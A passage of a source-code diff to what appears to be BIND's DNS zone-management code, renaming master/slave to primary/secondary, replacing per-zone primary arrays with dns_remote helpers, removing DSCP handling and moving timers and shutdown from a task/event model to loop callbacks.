 				     "unable to find TSIG key for %s", addrbuf);
-			goto skip_master;
+			goto skip_primary;
 		}
 	}
 
-	if ((zone->mastertlsnames != NULL) &&
-	    (zone->mastertlsnames[zone->curmaster] != NULL))
-	{
+	if (dns_remote_tlsname(&zone->primaries) != NULL) {
 		dns_view_t *view = dns_zone_getview(zone);
-		dns_name_t *tlsname = zone->mastertlsnames[zone->curmaster];
+		dns_name_t *tlsname = dns_remote_tlsname(&zone->primaries);
 		result = dns_view_gettransport(view, DNS_TRANSPORT_TLS, tlsname,
 					       &transport);
 		if (result != ISC_R_SUCCESS) {
@@ -14174,19 +14004,18 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "unable to find TLS configuration: %s",
 				     namebuf);
-			goto skip_master;
+			goto skip_primary;
 		}
 	}
 
 	options = DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEVC) ? DNS_REQUESTOPT_TCP
 							 : 0;
-	have_xfrsource = have_xfrdscp = false;
 	reqnsid = zone->view->requestnsid;
 	reqexpire = zone->requestexpire;
 	if (zone->view->peers != NULL) {
 		dns_peer_t *peer = NULL;
 		bool edns, usetcp;
-		result = dns_peerlist_peerbyaddr(zone->view->peers, &masterip,
+		result = dns_peerlist_peerbyaddr(zone->view->peers, &primaryip,
 						 &peer);
 		if (result == ISC_R_SUCCESS) {
 			result = dns_peer_getsupportedns(peer, &edns);
@@ -14198,14 +14027,7 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 			if (result == ISC_R_SUCCESS) {
 				have_xfrsource = true;
 			}
-			(void)dns_peer_gettransferdscp(peer, &dscp);
-			if (dscp != -1) {
-				have_xfrdscp = true;
-			}
-			if (zone->view->resolver != NULL) {
-				udpsize = dns_resolver_getudpsize(
-					zone->view->resolver);
-			}
+			udpsize = dns_view_getudpsize(zone->view);
 			(void)dns_peer_getudpsize(peer, &udpsize);
 			(void)dns_peer_getrequestnsid(peer, &reqnsid);
 			(void)dns_peer_getrequestexpire(peer, &reqexpire);
@@ -14216,38 +14038,26 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 		}
 	}
 
-	switch (isc_sockaddr_pf(&zone->masteraddr)) {
+	switch (isc_sockaddr_pf(&curraddr)) {
 	case PF_INET:
-		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC)) {
-			if (isc_sockaddr_equal(&zone->altxfrsource4,
-					       &zone->xfrsource4)) {
-				goto skip_master;
-			}
-			zone->sourceaddr = zone->altxfrsource4;
-			if (!have_xfrdscp) {
-				dscp = zone->altxfrsource4dscp;
-			}
-		} else if (!have_xfrsource) {
-			zone->sourceaddr = zone->xfrsource4;
-			if (!have_xfrdscp) {
-				dscp = zone->xfrsource4dscp;
+		if (!have_xfrsource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any(&any);
+
+			zone->sourceaddr = sourceaddr;
+			if (isc_sockaddr_equal(&sourceaddr, &any)) {
+				zone->sourceaddr = zone->xfrsource4;
 			}
 		}
 		break;
 	case PF_INET6:
-		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC)) {
-			if (isc_sockaddr_equal(&zone->altxfrsource6,
-					       &zone->xfrsource6)) {
-				goto skip_master;
-			}
-			zone->sourceaddr = zone->altxfrsource6;
-			if (!have_xfrdscp) {
-				dscp = zone->altxfrsource6dscp;
-			}
-		} else if (!have_xfrsource) {
-			zone->sourceaddr = zone->xfrsource6;
-			if (!have_xfrdscp) {
-				dscp = zone->xfrsource6dscp;
+		if (!have_xfrsource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any6(&any);
+
+			zone->sourceaddr = sourceaddr;
+			if (isc_sockaddr_equal(&zone->sourceaddr, &any)) {
+				zone->sourceaddr = zone->xfrsource6;
 			}
 		}
 		break;
@@ -14269,37 +14079,34 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 		goto cleanup;
 	}
 
-	result = create_query(zone, dns_rdatatype_soa, &zone->origin, &message);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	create_query(zone, dns_rdatatype_soa, &zone->origin, &message);
 
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS)) {
 		result = add_opt(message, udpsize, reqnsid, reqexpire);
 		if (result != ISC_R_SUCCESS) {
-			zone_debuglog(zone, me, 1,
+			zone_debuglog(zone, __func__, 1,
 				      "unable to add opt record: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 		}
 	}
 
-	zone_iattach(zone, &dummy);
+	zone_iattach(zone, &(dns_zone_t *){ NULL });
 	timeout = 15;
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DIALREFRESH)) {
 		timeout = 30;
 	}
-	result = dns_request_createvia(
-		zone->view->requestmgr, message, &zone->sourceaddr,
-		&zone->masteraddr, dscp, options, key, timeout * 3, timeout, 0,
-		zone->task, refresh_callback, zone, &zone->request);
+	result = dns_request_create(
+		zone->view->requestmgr, message, &zone->sourceaddr, &curraddr,
+		NULL, NULL, options, key, timeout * 3, timeout, 2, zone->loop,
+		refresh_callback, zone, &zone->request);
 	if (result != ISC_R_SUCCESS) {
-		zone_idetach(&dummy);
-		zone_debuglog(zone, me, 1,
-			      "dns_request_createvia4() failed: %s",
-			      dns_result_totext(result));
-		goto skip_master;
+		zone_idetach(&(dns_zone_t *){ zone });
+		zone_debuglog(zone, __func__, 1,
+			      "dns_request_create() failed: %s",
+			      isc_result_totext(result));
+		goto skip_primary;
 	} else {
-		if (isc_sockaddr_pf(&zone->masteraddr) == PF_INET) {
+		if (isc_sockaddr_pf(&curraddr) == PF_INET) {
 			inc_stats(zone, dns_zonestatscounter_soaoutv4);
 		} else {
 			inc_stats(zone, dns_zonestatscounter_soaoutv6);
@@ -14322,15 +14129,16 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 	if (cancel) {
 		cancel_refresh(zone);
 	}
-	isc_event_free(&event);
 	UNLOCK_ZONE(zone);
 	if (do_queue_xfrin) {
 		queue_xfrin(zone);
 	}
+	isc_rlevent_free(&sq->rlevent);
+	isc_mem_put(zone->mctx, sq, sizeof(*sq));
 	dns_zone_idetach(&zone);
 	return;
 
-skip_master:
+skip_primary:
 	if (transport != NULL) {
 		dns_transport_detach(&transport);
 	}
@@ -14341,32 +14149,28 @@ soa_query(isc_task_t *task, isc_event_t *event) {
 		dns_message_detach(&message);
 	}
 	/*
-	 * Skip to next failed / untried master.
+	 * Skip to next failed / untried primary.
 	 */
-	do {
-		zone->curmaster++;
-	} while (zone->curmaster < zone->masterscnt &&
-		 zone->mastersok[zone->curmaster]);
-	if (zone->curmaster < zone->masterscnt) {
+	dns_remote_next(&zone->primaries, true);
+	if (!dns_remote_done(&zone->primaries)) {
 		goto again;
 	}
-	zone->curmaster = 0;
+	dns_remote_reset(&zone->primaries, false);
 	goto cleanup;
 }
 
 static void
 ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
-	const char me[] = "ns_query";
 	isc_result_t result;
 	dns_message_t *message = NULL;
-	isc_netaddr_t masterip;
+	isc_netaddr_t primaryip;
 	dns_tsigkey_t *key = NULL;
 	dns_dbnode_t *node = NULL;
 	int timeout;
-	bool have_xfrsource = false, have_xfrdscp = false;
+	bool have_xfrsource = false;
 	bool reqnsid;
 	uint16_t udpsize = SEND_BUFFER_SIZE;
-	isc_dscp_t dscp = -1;
+	isc_sockaddr_t curraddr, sourceaddr;
 	struct stub_cb_args *cb_args;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -14413,10 +14217,10 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 					     "refreshing stub: "
 					     "could not create "
 					     "database: %s",
-					     dns_result_totext(result));
+					     isc_result_totext(result));
 				goto cleanup;
 			}
-			dns_db_settask(stub->db, zone->task);
+			dns_db_setloop(stub->db, zone->loop);
 		}
 
 		result = dns_db_newversion(stub->db, &stub->version);
@@ -14424,7 +14228,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refreshing stub: "
 				     "dns_db_newversion() failed: %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			goto cleanup;
 		}
 
@@ -14436,7 +14240,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refreshing stub: "
 				     "dns_db_findnode() failed: %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			goto cleanup;
 		}
 
@@ -14447,7 +14251,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refreshing stub: "
 				     "dns_db_addrdataset() failed: %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			goto cleanup;
 		}
 	}
@@ -14455,23 +14259,21 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 	/*
 	 * XXX Optimisation: Create message when zone is setup and reuse.
 	 */
-	result = create_query(zone, dns_rdatatype_ns, &zone->origin, &message);
-	INSIST(result == ISC_R_SUCCESS);
+	create_query(zone, dns_rdatatype_ns, &zone->origin, &message);
 
-	INSIST(zone->masterscnt > 0);
-	INSIST(zone->curmaster < zone->masterscnt);
-	zone->masteraddr = zone->masters[zone->curmaster];
+	INSIST(dns_remote_count(&zone->primaries) > 0);
+	INSIST(!dns_remote_done(&zone->primaries));
 
-	isc_netaddr_fromsockaddr(&masterip, &zone->masteraddr);
+	sourceaddr = dns_remote_sourceaddr(&zone->primaries);
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_netaddr_fromsockaddr(&primaryip, &curraddr);
 	/*
-	 * First, look for a tsig key in the master statement, then
+	 * First, look for a tsig key in the primaries statement, then
 	 * try for a server key.
 	 */
-	if ((zone->masterkeynames != NULL) &&
-	    (zone->masterkeynames[zone->curmaster] != NULL))
-	{
+	if (dns_remote_keyname(&zone->primaries) != NULL) {
 		dns_view_t *view = dns_zone_getview(zone);
-		dns_name_t *keyname = zone->masterkeynames[zone->curmaster];
+		dns_name_t *keyname = dns_remote_keyname(&zone->primaries);
 		result = dns_view_gettsig(view, keyname, &key);
 		if (result != ISC_R_SUCCESS) {
 			char namebuf[DNS_NAME_FORMATSIZE];
@@ -14481,7 +14283,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 		}
 	}
 	if (key == NULL) {
-		(void)dns_view_getpeertsig(zone->view, &masterip, &key);
+		(void)dns_view_getpeertsig(zone->view, &primaryip, &key);
 	}
 
 	/* FIXME(OS): Do we need the transport here too? Most probably yes */
@@ -14490,7 +14292,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 	if (zone->view->peers != NULL) {
 		dns_peer_t *peer = NULL;
 		bool edns;
-		result = dns_peerlist_peerbyaddr(zone->view->peers, &masterip,
+		result = dns_peerlist_peerbyaddr(zone->view->peers, &primaryip,
 						 &peer);
 		if (result == ISC_R_SUCCESS) {
 			result = dns_peer_getsupportedns(peer, &edns);
@@ -14502,14 +14304,7 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 			if (result == ISC_R_SUCCESS) {
 				have_xfrsource = true;
 			}
-			result = dns_peer_gettransferdscp(peer, &dscp);
-			if (result == ISC_R_SUCCESS && dscp != -1) {
-				have_xfrdscp = true;
-			}
-			if (zone->view->resolver != NULL) {
-				udpsize = dns_resolver_getudpsize(
-					zone->view->resolver);
-			}
+			udpsize = dns_view_getudpsize(zone->view);
 			(void)dns_peer_getudpsize(peer, &udpsize);
 			(void)dns_peer_getrequestnsid(peer, &reqnsid);
 		}
@@ -14517,39 +14312,35 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS)) {
 		result = add_opt(message, udpsize, reqnsid, false);
 		if (result != ISC_R_SUCCESS) {
-			zone_debuglog(zone, me, 1,
+			zone_debuglog(zone, __func__, 1,
 				      "unable to add opt record: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 		}
 	}
 
 	/*
 	 * Always use TCP so that we shouldn't truncate in additional section.
 	 */
-	switch (isc_sockaddr_pf(&zone->masteraddr)) {
+	switch (isc_sockaddr_pf(&curraddr)) {
 	case PF_INET:
-		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC)) {
-			zone->sourceaddr = zone->altxfrsource4;
-			if (!have_xfrdscp) {
-				dscp = zone->altxfrsource4dscp;
-			}
-		} else if (!have_xfrsource) {
-			zone->sourceaddr = zone->xfrsource4;
-			if (!have_xfrdscp) {
-				dscp = zone->xfrsource4dscp;
+		if (!have_xfrsource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any(&any);
+
+			zone->sourceaddr = sourceaddr;
+			if (isc_sockaddr_equal(&zone->sourceaddr, &any)) {
+				zone->sourceaddr = zone->xfrsource4;
 			}
 		}
 		break;
 	case PF_INET6:
-		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC)) {
-			zone->sourceaddr = zone->altxfrsource6;
-			if (!have_xfrdscp) {
-				dscp = zone->altxfrsource6dscp;
-			}
-		} else if (!have_xfrsource) {
-			zone->sourceaddr = zone->xfrsource6;
-			if (!have_xfrdscp) {
-				dscp = zone->xfrsource6dscp;
+		if (!have_xfrsource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any6(&any);
+
+			zone->sourceaddr = sourceaddr;
+			if (isc_sockaddr_equal(&zone->sourceaddr, &any)) {
+				zone->sourceaddr = zone->xfrsource6;
 			}
 		}
 		break;
@@ -14563,23 +14354,25 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 		timeout = 30;
 	}
 
-	/* Save request parameters so we can reuse them later on
-	   for resolving missing glue A/AAAA records. */
+	/*
+	 * Save request parameters so we can reuse them later on
+	 * for resolving missing glue A/AAAA records.
+	 */
 	cb_args = isc_mem_get(zone->mctx, sizeof(*cb_args));
 	cb_args->stub = stub;
 	cb_args->tsig_key = key;
-	cb_args->dscp = dscp;
 	cb_args->udpsize = udpsize;
 	cb_args->timeout = timeout;
 	cb_args->reqnsid = reqnsid;
 
-	result = dns_request_createvia(
-		zone->view->requestmgr, message, &zone->sourceaddr,
-		&zone->masteraddr, dscp, DNS_REQUESTOPT_TCP, key, timeout * 3,
-		timeout, 0, zone->task, stub_callback, cb_args, &zone->request);
+	result = dns_request_create(
+		zone->view->requestmgr, message, &zone->sourceaddr, &curraddr,
+		NULL, NULL, DNS_REQUESTOPT_TCP, key, timeout * 3, timeout, 2,
+		zone->loop, stub_callback, cb_args, &zone->request);
 	if (result != ISC_R_SUCCESS) {
-		zone_debuglog(zone, me, 1, "dns_request_createvia() failed: %s",
-			      dns_result_totext(result));
+		zone_debuglog(zone, __func__, 1,
+			      "dns_request_create() failed: %s",
+			      isc_result_totext(result));
 		goto cleanup;
 	}
 	dns_message_detach(&message);
@@ -14609,28 +14402,19 @@ ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub) {
 }
 
 /*
- * Handle the control event.  Note that although this event causes the zone
- * to shut down, it is not a shutdown event in the sense of the task library.
+ * Shut the zone down.
  */
 static void
-zone_shutdown(isc_task_t *task, isc_event_t *event) {
-	dns_zone_t *zone = (dns_zone_t *)event->ev_arg;
+zone_shutdown(void *arg) {
+	dns_zone_t *zone = (dns_zone_t *)arg;
 	bool free_needed, linked = false;
 	dns_zone_t *raw = NULL, *secure = NULL;
+	dns_view_t *view = NULL, *prev_view = NULL;
 
-	UNUSED(task);
 	REQUIRE(DNS_ZONE_VALID(zone));
-	INSIST(event->ev_type == DNS_EVENT_ZONECONTROL);
-	INSIST(isc_refcount_current(&zone->erefs) == 0);
+	INSIST(isc_refcount_current(&zone->references) == 0);
 
-	zone_debuglog(zone, "zone_shutdown", 3, "shutting down");
-
-	/*
-	 * Stop things being restarted after we cancel them below.
-	 */
-	LOCK_ZONE(zone);
-	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_EXITING);
-	UNLOCK_ZONE(zone);
+	zone_debuglog(zone, __func__, 3, "shutting down");
 
 	/*
 	 * If we were waiting for xfrin quota, step out of
@@ -14656,7 +14440,7 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 	}
 
 	/*
-	 * In task context, no locking required.  See zone_xfrdone().
+	 * In loop context, no locking required.  See zone_xfrdone().
 	 */
 	if (zone->xfr != NULL) {
 		/* The final detach will happen in zone_xfrdone() */
@@ -14670,6 +14454,17 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 
 	LOCK_ZONE(zone);
 	INSIST(zone != zone->raw);
+
+	/*
+	 * Detach the views early, we don't need them anymore.  However, we need
+	 * to detach them outside of the zone lock to break the lock loop
+	 * between view, adb and zone locks.
+	 */
+	view = zone->view;
+	zone->view = NULL;
+	prev_view = zone->prev_view;
+	zone->prev_view = NULL;
+
 	if (linked) {
 		isc_refcount_decrement(&zone->irefs);
 	}
@@ -14677,33 +14472,27 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 		dns_request_cancel(zone->request);
 	}
 
-	if (zone->readio != NULL) {
-		zonemgr_cancelio(zone->readio);
-	}
-
-	if (zone->lctx != NULL) {
-		dns_loadctx_cancel(zone->lctx);
+	if (zone->loadctx != NULL) {
+		dns_loadctx_cancel(zone->loadctx);
 	}
 
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_FLUSH) ||
 	    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DUMPING))
 	{
-		if (zone->writeio != NULL) {
-			zonemgr_cancelio(zone->writeio);
-		}
-
-		if (zone->dctx != NULL) {
-			dns_dumpctx_cancel(zone->dctx);
+		if (zone->dumpctx != NULL) {
+			dns_dumpctx_cancel(zone->dumpctx);
 		}
 	}
 
+	checkds_cancel(zone);
+
 	notify_cancel(zone);
 
 	forward_cancel(zone);
 
 	if (zone->timer != NULL) {
-		isc_timer_detach(&zone->timer);
 		isc_refcount_decrement(&zone->irefs);
+		isc_timer_destroy(&zone->timer);
 	}
 
 	/*
@@ -14713,7 +14502,13 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 	 */
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_SHUTDOWN);
 	free_needed = exit_check(zone);
-	if (inline_secure(zone)) {
+	/*
+	 * If a dump is in progress for the secure zone, defer detaching from
+	 * the raw zone as it may prevent the unsigned serial number from being
+	 * stored in the raw-format dump of the secure zone.  In this scenario,
+	 * dump_done() takes care of cleaning up the zone->raw reference.
+	 */
+	if (inline_secure(zone) && !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DUMPING)) {
 		raw = zone->raw;
 		zone->raw = NULL;
 	}
@@ -14722,6 +14517,14 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 		zone->secure = NULL;
 	}
 	UNLOCK_ZONE(zone);
+
+	if (view != NULL) {
+		dns_view_weakdetach(&view);
+	}
+	if (prev_view != NULL) {
+		dns_view_weakdetach(&prev_view);
+	}
+
 	if (raw != NULL) {
 		dns_zone_detach(&raw);
 	}
@@ -14734,44 +14537,67 @@ zone_shutdown(isc_task_t *task, isc_event_t *event) {
 }
 
 static void
-zone_timer(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "zone_timer";
-	dns_zone_t *zone = (dns_zone_t *)event->ev_arg;
+zone_timer(void *arg) {
+	dns_zone_t *zone = (dns_zone_t *)arg;
 
-	UNUSED(task);
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	ENTER;
-
 	zone_maintenance(zone);
-
-	isc_event_free(&event);
 }
 
 static void
-zone_settimer(dns_zone_t *zone, isc_time_t *now) {
-	const char me[] = "zone_settimer";
-	isc_time_t next;
-	isc_result_t result;
+zone_timer_stop(dns_zone_t *zone) {
+	zone_debuglog(zone, __func__, 10, "stop zone timer");
+	if (zone->timer != NULL) {
+		isc_timer_stop(zone->timer);
+	}
+}
 
-	REQUIRE(DNS_ZONE_VALID(zone));
-	REQUIRE(LOCKED_ZONE(zone));
-	ENTER;
+static void
+zone_timer_set(dns_zone_t *zone, isc_time_t *next, isc_time_t *now) {
+	isc_interval_t interval;
 
-	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
-		return;
+	if (isc_time_compare(next, now) <= 0) {
+		isc_interval_set(&interval, 0, 0);
+	} else {
+		isc_time_subtract(next, now, &interval);
 	}
 
-	isc_time_settoepoch(&next);
-
-	switch (zone->type) {
+	if (zone->loop == NULL) {
+		zone_debuglog(zone, __func__, 10, "zone is not managed");
+	} else if (zone->timer == NULL) {
+		isc_refcount_increment0(&zone->irefs);
+		isc_timer_create(zone->loop, zone_timer, zone, &zone->timer);
+	}
+	if (zone->timer != NULL) {
+		isc_timer_start(zone->timer, isc_timertype_once, &interval);
+	}
+}
+
+static void
+zone__settimer(void *arg) {
+	zone_settimer_t *data = arg;
+	dns_zone_t *zone = data->zone;
+	isc_time_t *now = &data->now;
+	isc_time_t next;
+	bool free_needed = false;
+
+	REQUIRE(DNS_ZONE_VALID(zone));
+	ENTER;
+
+	LOCK_ZONE(zone);
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		goto free;
+	}
+	isc_time_settoepoch(&next);
+
+	switch (zone->type) {
 	case dns_zone_redirect:
-		if (zone->masters != NULL) {
-			goto treat_as_slave;
+		if (dns_remote_addresses(&zone->primaries) != NULL) {
+			goto treat_as_secondary;
 		}
-		/* FALLTHROUGH */
-
-	case dns_zone_master:
+		FALLTHROUGH;
+	case dns_zone_primary:
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
 		    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY))
 		{
@@ -14782,7 +14608,8 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		{
 			INSIST(!isc_time_isepoch(&zone->dumptime));
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->dumptime, &next) < 0) {
+			    isc_time_compare(&zone->dumptime, &next) < 0)
+			{
 				next = zone->dumptime;
 			}
 		}
@@ -14800,19 +14627,22 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		}
 		if (!isc_time_isepoch(&zone->resigntime)) {
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->resigntime, &next) < 0) {
+			    isc_time_compare(&zone->resigntime, &next) < 0)
+			{
 				next = zone->resigntime;
 			}
 		}
 		if (!isc_time_isepoch(&zone->keywarntime)) {
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->keywarntime, &next) < 0) {
+			    isc_time_compare(&zone->keywarntime, &next) < 0)
+			{
 				next = zone->keywarntime;
 			}
 		}
 		if (!isc_time_isepoch(&zone->signingtime)) {
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->signingtime, &next) < 0) {
+			    isc_time_compare(&zone->signingtime, &next) < 0)
+			{
 				next = zone->signingtime;
 			}
 		}
@@ -14825,19 +14655,18 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		}
 		break;
 
-	case dns_zone_slave:
+	case dns_zone_secondary:
 	case dns_zone_mirror:
-	treat_as_slave:
+	treat_as_secondary:
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
 		    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY))
 		{
 			next = zone->notifytime;
 		}
-		/* FALLTHROUGH */
-
+		FALLTHROUGH;
 	case dns_zone_stub:
 		if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_REFRESH) &&
-		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOMASTERS) &&
+		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOPRIMARIES) &&
 		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOREFRESH) &&
 		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADING) &&
 		    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADPENDING) &&
@@ -14851,7 +14680,8 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		    !isc_time_isepoch(&zone->expiretime))
 		{
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->expiretime, &next) < 0) {
+			    isc_time_compare(&zone->expiretime, &next) < 0)
+			{
 				next = zone->expiretime;
 			}
 		}
@@ -14860,7 +14690,8 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		{
 			INSIST(!isc_time_isepoch(&zone->dumptime));
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->dumptime, &next) < 0) {
+			    isc_time_compare(&zone->dumptime, &next) < 0)
+			{
 				next = zone->dumptime;
 			}
 		}
@@ -14872,7 +14703,8 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 		{
 			INSIST(!isc_time_isepoch(&zone->dumptime));
 			if (isc_time_isepoch(&next) ||
-			    isc_time_compare(&zone->dumptime, &next) < 0) {
+			    isc_time_compare(&zone->dumptime, &next) < 0)
+			{
 				next = zone->dumptime;
 			}
 		}
@@ -14892,31 +14724,38 @@ zone_settimer(dns_zone_t *zone, isc_time_t *now) {
 	}
 
 	if (isc_time_isepoch(&next)) {
-		zone_debuglog(zone, me, 10, "settimer inactive");
-		result = isc_timer_reset(zone->timer, isc_timertype_inactive,
-					 NULL, NULL, true);
-		if (result != ISC_R_SUCCESS) {
-			dns_zone_log(zone, ISC_LOG_ERROR,
-				     "could not deactivate zone timer: %s",
-				     isc_result_totext(result));
-		}
+		zone_timer_stop(zone);
 	} else {
-		if (isc_time_compare(&next, now) <= 0) {
-			next = *now;
-		}
-		result = isc_timer_reset(zone->timer, isc_timertype_once, &next,
-					 NULL, true);
-		if (result != ISC_R_SUCCESS) {
-			dns_zone_log(zone, ISC_LOG_ERROR,
-				     "could not reset zone timer: %s",
-				     isc_result_totext(result));
-		}
+		zone_timer_set(zone, &next, now);
+	}
+
+free:
+	isc_mem_put(zone->mctx, data, sizeof(*data));
+	isc_refcount_decrement(&zone->irefs);
+	free_needed = exit_check(zone);
+	UNLOCK_ZONE(zone);
+	if (free_needed) {
+		zone_free(zone);
+	}
+}
+
+static void
+zone_settimer(dns_zone_t *zone, isc_time_t *now) {
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		return;
 	}
+
+	zone_settimer_t *arg = isc_mem_get(zone->mctx, sizeof(*arg));
+	*arg = (zone_settimer_t){
+		.zone = zone,
+		.now = *now,
+	};
+	isc_refcount_increment0(&zone->irefs);
+	isc_async_run(zone->loop, zone__settimer, arg);
 }
 
 static void
 cancel_refresh(dns_zone_t *zone) {
-	const char me[] = "cancel_refresh";
 	isc_time_t now;
 
 	/*
@@ -14929,7 +14768,7 @@ cancel_refresh(dns_zone_t *zone) {
 	ENTER;
 
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESH);
-	TIME_NOW(&now);
+	now = isc_time_now();
 	zone_settimer(zone, &now);
 }
 
@@ -14961,15 +14800,9 @@ notify_createmessage(dns_zone_t *zone, unsigned int flags,
 	message->flags |= DNS_MESSAGEFLAG_AA;
 	message->rdclass = zone->rdclass;
 
-	result = dns_message_gettempname(message, &tempname);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettempname(message, &tempname);
 
-	result = dns_message_gettemprdataset(message, &temprdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdataset(message, &temprdataset);
 
 	/*
 	 * Make question.
@@ -14986,22 +14819,10 @@ notify_createmessage(dns_zone_t *zone, unsigned int flags,
 		goto done;
 	}
 
-	result = dns_message_gettempname(message, &tempname);
-	if (result != ISC_R_SUCCESS) {
-		goto soa_cleanup;
-	}
-	result = dns_message_gettemprdata(message, &temprdata);
-	if (result != ISC_R_SUCCESS) {
-		goto soa_cleanup;
-	}
-	result = dns_message_gettemprdataset(message, &temprdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto soa_cleanup;
-	}
-	result = dns_message_gettemprdatalist(message, &temprdatalist);
-	if (result != ISC_R_SUCCESS) {
-		goto soa_cleanup;
-	}
+	dns_message_gettempname(message, &tempname);
+	dns_message_gettemprdata(message, &temprdata);
+	dns_message_gettemprdataset(message, &temprdataset);
+	dns_message_gettemprdatalist(message, &temprdatalist);
 
 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
 	INSIST(zone->db != NULL); /* XXXJT: is this assumption correct? */
@@ -15043,10 +14864,7 @@ notify_createmessage(dns_zone_t *zone, unsigned int flags,
 	temprdatalist->ttl = rdataset.ttl;
 	ISC_LIST_APPEND(temprdatalist->rdata, temprdata, link);
 
-	result = dns_rdatalist_tordataset(temprdatalist, temprdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto soa_cleanup;
-	}
+	dns_rdatalist_tordataset(temprdatalist, temprdataset);
 
 	ISC_LIST_APPEND(tempname->list, temprdataset, link);
 	dns_message_addname(message, tempname, DNS_SECTION_ANSWER);
@@ -15081,16 +14899,6 @@ notify_createmessage(dns_zone_t *zone, unsigned int flags,
 done:
 	*messagep = message;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (tempname != NULL) {
-		dns_message_puttempname(message, &tempname);
-	}
